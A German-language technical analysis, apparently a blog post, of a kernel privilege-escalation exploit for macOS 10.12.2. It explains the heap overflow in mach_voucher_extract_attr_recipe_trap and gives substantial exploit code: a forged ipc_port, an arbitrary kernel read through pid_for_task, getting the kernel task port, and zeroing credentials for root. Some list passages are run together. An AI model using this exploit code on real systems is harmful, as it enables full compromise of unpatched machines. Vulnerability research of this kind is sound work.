
on Mac 10.12.2
Dieser Privilege-Escalation-Exploit nutzt eine Schwachstelle in mach_voucher_extract_attr_recipe_trap, und die Kernmethode des Exploits basiert auf MACH_MSG_OOL_PORTS_DESCRIPTOR-Nachrichten.
Einfach gesagt: Wenn eine mach_msg eine ool descriptor-Nachricht sendet, kopiert der Kernel die angegebenen Daten aus dem Benutzerraum in den Kernelraum und behält diese Daten bei, bis die Ziel-Task die Nachricht verarbeitet. Wenn die Ziel-Task eine Nachricht mit ool descriptor empfängt, kopiert der Kernel die Daten aus dem Kernelraum in den Benutzerraum (nicht unbedingt eine echte Kopie). Daher kann dieser technische Punkt genutzt werden, um Daten in den Kernel-Heap zu schreiben oder aus dem Kernel zu lesen.
Da dieser Exploit deutlich komplexer ist als Trident, werde ich ihn Schritt für Schritt analysieren – von der Entstehung der Schwachstelle bis zur vollständigen Ausnutzung. Der Code ist auf meinem GitHub verfügbar.
In iOS 10 und macOS 10.12 wurde eine neue Funktion namens mach_voucher_extract_attr_recipe_trap hinzugefügt. Es handelt sich um einen Mach trap, der innerhalb der Sandbox aufgerufen werden kann. Nachfolgend der Quellcode dieser Funktion:
kern_return_t
mach_voucher_extract_attr_recipe_trap(struct mach_voucher_extract_attr_recipe_args *args)
{
ipc_voucher_t voucher = IV_NULL;
kern_return_t kr = KERN_SUCCESS;
mach_msg_type_number_t sz = 0;
// Kopiert die Adresse von recipe_size in sz; sz enthält dann den Wert von kalloc_size
if (copyin(args->recipe_size, (void *)&sz, sizeof(sz))) <---------- (a)
return KERN_MEMORY_ERROR;
if (sz > MACH_VOUCHER_ATTR_MAX_RAW_RECIPE_ARRAY_SIZE)
return MIG_ARRAY_TOO_LARGE;
voucher = convert_port_name_to_voucher(args->voucher_name);
if (voucher == IV_NULL)
return MACH_SEND_INVALID_DEST;
mach_msg_type_number_t __assert_only max_sz = sz;
if (sz < MACH_VOUCHER_TRAP_STACK_LIMIT) {
/* keep small recipes on the stack for speed */
uint8_t krecipe[sz];
if (copyin(args->recipe, (void *)krecipe, sz)) {
kr = KERN_MEMORY_ERROR;
goto done;
}
kr = mach_voucher_extract_attr_recipe(voucher, args->key,
(mach_voucher_attr_raw_recipe_t)krecipe, &sz);
assert(sz <= max_sz);
if (kr == KERN_SUCCESS && sz > 0)
kr = copyout(krecipe, (void *)args->recipe, sz);
} else {
uint8_t *krecipe = kalloc((vm_size_t)sz); <---------- (b)
if (!krecipe) {
kr = KERN_RESOURCE_SHORTAGE;
goto done;
}
if (copyin(args->recipe, (void *)krecipe, args->recipe_size)) { <----------- (c)
kfree(krecipe, (vm_size_t)sz);
kr = KERN_MEMORY_ERROR;
goto done;
}
kr = mach_voucher_extract_attr_recipe(voucher, args->key,
(mach_voucher_attr_raw_recipe_t)krecipe, &sz);
assert(sz <= max_sz);
if (kr == KERN_SUCCESS && sz > 0)
kr = copyout(krecipe, (void *)args->recipe, sz);
kfree(krecipe, (vm_size_t)sz);
}
kr = copyout(&sz, args->recipe_size, sizeof(sz));
done:
ipc_voucher_release(voucher);
return kr;
}
args->recipe_size in sz geschrieben wird.sz zwischen MACH_VOUCHER_ATTR_MAX_RAW_RECIPE_ARRAY_SIZE (5120) und MACH_VOUCHER_TRAP_STACK_LIMIT (256) liegt, wird ein Kernel-Heap-Puffer der Größe sz allokiert.sz, sondern ein Benutzerraumzeiger. Dies führt zu einem Heap-Überlauf, den wir ausnutzen. Zudem hat die Funktion copyin die Eigenschaft, dass sie bei einer nicht gemappten Seite abbricht – diese Eigenschaft wird in unserem PoC ausgenutzt:freelist die Position neu zugewiesener Speicherblöcke nicht mehr vorhersagbar ist.Zuerst müssen wir verstehen, wie mach msg mit MACH_MSG_OOL_PORTS_DESCRIPTOR umgeht. Wenn der Kernel eine komplexe Nachricht empfängt und feststellt, dass es sich um einen ports descriptor handelt, übergibt er diese (aufgerufen durch ipc_kmsg_copyin) an die Funktion ipc_kmsg_copyin_ool_ports_descriptor, um alle Port-Objekte auszulesen. Diese Funktion ruft kalloc auf, um den benötigten Speicher zu allozieren (auf 64-Bit-Systemen ist der allozierte Speicher das Doppelte der Eingabe, da die Länge der name 4 Bytes beträgt) und konvertiert dann gültige port-name-Werte in die tatsächliche ipc_port-Objektadresse. Für Eingaben von MACH_PORT_NULL oder MACH_PORT_DEAD bleiben die Werte unverändert.
/* calculate length of data in bytes, rounding up */
if (os_mul_overflow(count, sizeof(mach_port_t), &ports_length)) {
*mr = MACH_SEND_TOO_LARGE;
return NULL;
}
if (os_mul_overflow(count, sizeof(mach_port_name_t), &names_length)) {
*mr = MACH_SEND_TOO_LARGE;
return NULL;
}
if(ports_length == 0){
return user_desc;
}
data = kalloc(ports_length); // Allokiert Speicher
...
objects = (ipc_object_t *) data;
dsc->address = data;
for ( i = 0; i < count; i++) {
mach_port_name_t name = names[i];
ipc_object_t object;
if (!MACH_PORT_VALID(name)) {
objects[i] = (ipc_object_t)CAST_MACH_NAME_TO_PORT(name);// IPC_PORT_DEAD continue;
}
...
}
Beim Angriff senden wir daher viele MACH_PORT_DEAD, um den Speicherbereich mit 0xFFFFFFFFFFFFFFFF (MACH_PORT_DEAD) zu füllen, und lösen dann die Schwachstelle aus, um einen der IPC_PORT_DEAD in einen vom Angreifer vorbereiteten Speicherbereich zu ändern. Wenn der Bereich auf eine gültige ipc port-Struktur zeigt, kann der Angreifer nach dem Empfang der OOL PORTS-Nachricht im Benutzerraum den port name erhalten, der diesem ipc_port entspricht, und den nächsten Angriffsschritt durchführen.
ipc_object-ObjektsDa wir diesen fake port bereits haben, müssen wir für die Informationsoffenlegung wissen, nach welchen Parametern der Kernel ihn unterschiedlich behandelt. Zunächst betrachten wir die Struktur von ipc_port:
struct ipc_port {
// Der Zeiger auf ipc_object befindet sich in den ersten acht Bytes – Ziel unseres Überlaufangriffs
struct ipc_object ip_object; // Typ des Port-Objekts struct ipc_mqueue,ip_messages;
struct ipc_queue ip_messages; // Nachrichtenwarteschlange
union {
struct ipc_space *receiver;
struct ipc_port *destination;
ipc_port_timestamp_t timestamp;
}data;
union {
ipc_importance_task_t imp_task;
ipc_kobject_t kobject; // Kernel-Objekt zum Port
uintptr_t alias;
}kdata;
...
} __attribute__((__packed__));
Dabei gibt es ein Kernel-Objekt, das mit dem Port verknüpft ist. Welchem Kernel-Objekttyp dieses ipc_port entspricht, wird durch die Eigenschaften von ipc_object bestimmt. Wir konstruieren also gezielt das ipc_object.
fakeport->io_bits = IO_BITS_ACTIVE | IKOT_CLOCK; // Als IKOT_CLOCK-Objekt und aktiv setzen
fakeport->io_lock_data[12] = 0x11; // Port-Sperre als aktiv setzen, um Deadlock zu vermeiden
Der Kernel betrachtet dieses ipc_port dann als Port für die Kommunikation mit einem IKOT_CLOCK-Objekt. Das nächste Ziel ist es, die Kernel-Basisadresse zu leaken:
Wir fälschen dieses ipc_port als IKOT_CLOCK-Objekt und setzen seinen kdata.kobject-Zeiger auf eine Kernel-Adresse. Nach jeder Änderung dieser Kernel-Adresse wird im Benutzerraum clock_sleep_trap aufgerufen, das den Kernel port_name_to_clock aufruft, um die Kernel-Adresse zu erhalten, und diese als clock-Parameter an clock_sleep_internal übergibt. Der Quellcode lautet:
static kern_return_t clock_sleep_internal( clock_t clock, sleep_type_t sleep_type, mach_timespec_t *sleep_time)
{
if (clock == CLOCK_NULL)
return (KERN_INVALID_ARGUMENT);
if (clock != &clock_list[SYSTEM_CLOCK])
return (KERN_FAILURE);
...
}
Aus dem obigen Code geht hervor: Wenn die clock-Adresse nicht die Adresse von clock_list[SYSTEM_CLOCK] ist, wird KERN_FAILURE zurückgegeben, ansonsten ein anderer Wert. Anhand der Rückgabewerte können wir (durch ständiges Ändern des kobject-Werts) so lange iterieren, bis KERN_FAILURE zurückgegeben wird. Damit erhalten wir die Adresse von clock_list[SYSTEM_CLOCK] im Kernel. Diese Adresse liegt nicht auf dem Heap, sondern ist eine globale Variable im Kernel an einem bestimmten Offset. Anschließend lesen wir von dieser Stelle aus den Header jeder vorherigen Seite, um MH_MAGIC_64 (also 0xfeedfacf) zu finden.
extern struct clock_ops sysclk_ops, calend_ops;
struct clock clock_list[] = {
{&sysclk_ops, 0, 0},
{&calend_ops, 0, 0}
};
Sobald wir diese Adresse haben, müssen wir unser Objekt in den Typ task umwandeln und die Kernel-Basisadresse finden, um kslide zu berechnen und anschließend die tfp0-Operation durchzuführen.
// Den Typ des fake port in task ändern, da wir die pid_for_task-Schnittstelle für beliebiges Lesen benötigen
fakeport->io_bits = IKOT_TASK|IO_BITS_ACTIVE;
fakeport->io_references = 0xff;
char* faketask = ((char*)fakeport) + 0x1000;
*(uint64_t*)(((uint64_t)fakeport) + 0x68) = faketask;
*(uint64_t*)(((uint64_t)fakeport) + 0xa0) = 0xff;
*(uint64_t*) (faketask + 0x10) = 0xee;
Wir erhalten die kobject-Adresse und springen zum Seitenanfang. In den PoCs von Yalu102 und Zheng min ist die Reihenfolge dieser Operation unterschiedlich, was jedoch keine Auswirkungen hat, da die Adresse von faketask ebenfalls auf derselben Seite liegt – eine UND-Verknüpfung ergibt daher immer die Startadresse der Seite.
uint64_t leaked_ptr = *(uint64_t*)(((uint64_t)fakeport) + 0x68);
leaked_ptr &= ~0x3FFF;
Dann schreiben wir eine Endlosschleife, um MH_MAGIC_64 zu finden, und gehen zur tfp0-Phase über:
while (1) {
int leaked = 0;
*(uint64_t *)(faketask + 0x380) = leaked_ptr -0x10;
pid_for_task(foundport, &leaked);
if (leaked == MH_MAGIC_64) {
printf("found kernel text at 0x%llx\n", leaked_ptr);
break;
}
// Eine Seite zurück
leaked_ptr -= 0x4000;
}
Warum kann damit beliebiger Speicher gelesen werden? Weil die Funktion pid_for_task den übergebenen Parameter ohne Prüfung als Adresse behandelt und nur arithmetische Operationen durchführt:
kern_return_t pid_for_task(struct pid_for_task_args *args){
mach_port_t t = args->t;
...
t1 = port_name_to_task(t);
p = get_bsdtask_info(t1);
if(p){
pid = proc_id(p);
err = KERN_SUCCESS;
}
...
(void) copyout((char *)&pid, pid_addr, sizeof(int));
AUDIT_MACH_SYSCALL_EXIT(err);
return err;
}
//pid_for_task_args
struct pid_for_task_args{
PAD_ARG(mach_port_name_t t);
PAD_ARG(user_addr_r pid);
};
pid_for_task
Der gesamte Ablauf besteht darin, die Kernel-Prozessliste zu finden, die Adresse des eigenen Prozesses und die von pid0 zu ermitteln. Anschließend wird aus dem Kernel-Prozess die kernel task-Adresse, aus dieser wiederum itk_sself (der Port der Kernel-Task). Dann überschreiben wir die Informationen des gefälschten ipc_port mit denen der kernel task, lassen den fake port auf die gefälschte Kernel-Task zeigen und setzen den bootstrap port der Kernel-Task auf den echten Port der Kernel-Task. Über die Schnittstelle task_get_special_port erhalten wir den Port der Kernel-Task und können damit beliebig in den Kernel lesen und schreiben sowie die Berechtigungen unseres proc auf root ändern.
uint64_t kern_task = 0;
kr32(kernproc+0x18, (int32_t*)&kern_task);
kr32(kernproc+0x18+4 , (int32_t*)(((uint64_t)(&kern_task)) + 4));
uint64_t itk_kern_sself = 0;
kr32(kern_task+0xe8, (int32_t*)&itk_kern_sself);
kr32(kern_task+0xe8+4 , (int32_t*)(((uint64_t)(&itk_kern_sself)) + 4));
char *faketaskport = malloc(0x1000);
char *ktaskdump = malloc(0x1000);
for (int i = 0; i < 0x1000/4; i++) {
kr32(itk_kern_sself+i*4, (int32_t*)(&faketaskport[i*4]));
}
for (int i = 0; i < 0x1000/4; i++) {
kr32(kern_task+i*4, (int32_t*)(&ktaskdump[i*4]));
}
// Kernel-Task-Port sichern
memcpy(fakeport, faketaskport, 0x1000);
memcpy(faketask, ktaskdump, 0x1000);
*(uint64_t*)(((uint64_t)fakeport) + 0x68) = faketask;
*(uint64_t*)(((uint64_t)fakeport) + 0xa0) = 0xff;
*(uint64_t*)(((uint64_t)faketask) + 0x2b8) = itk_kern_sself;
// Kernel-Task holen
task_get_special_port(foundport, 4, &tfp0);
printf("tfp0 = 0x%x\n", tfp0);
fakeport->io_bits = 0;
uint64_t slide;
slide = kernel_base - 0xFFFFFF8000200000;
printf("kernel_base=0x%llx slide=0x%llx header=0x%llx\n",kernel_base, slide,ReadAnywhere64(kernel_base));
// root holen
uint64_t cred = ReadAnywhere64(myproc+0xe8);
WriteAnywhere64(cred+0x18,0);
pwn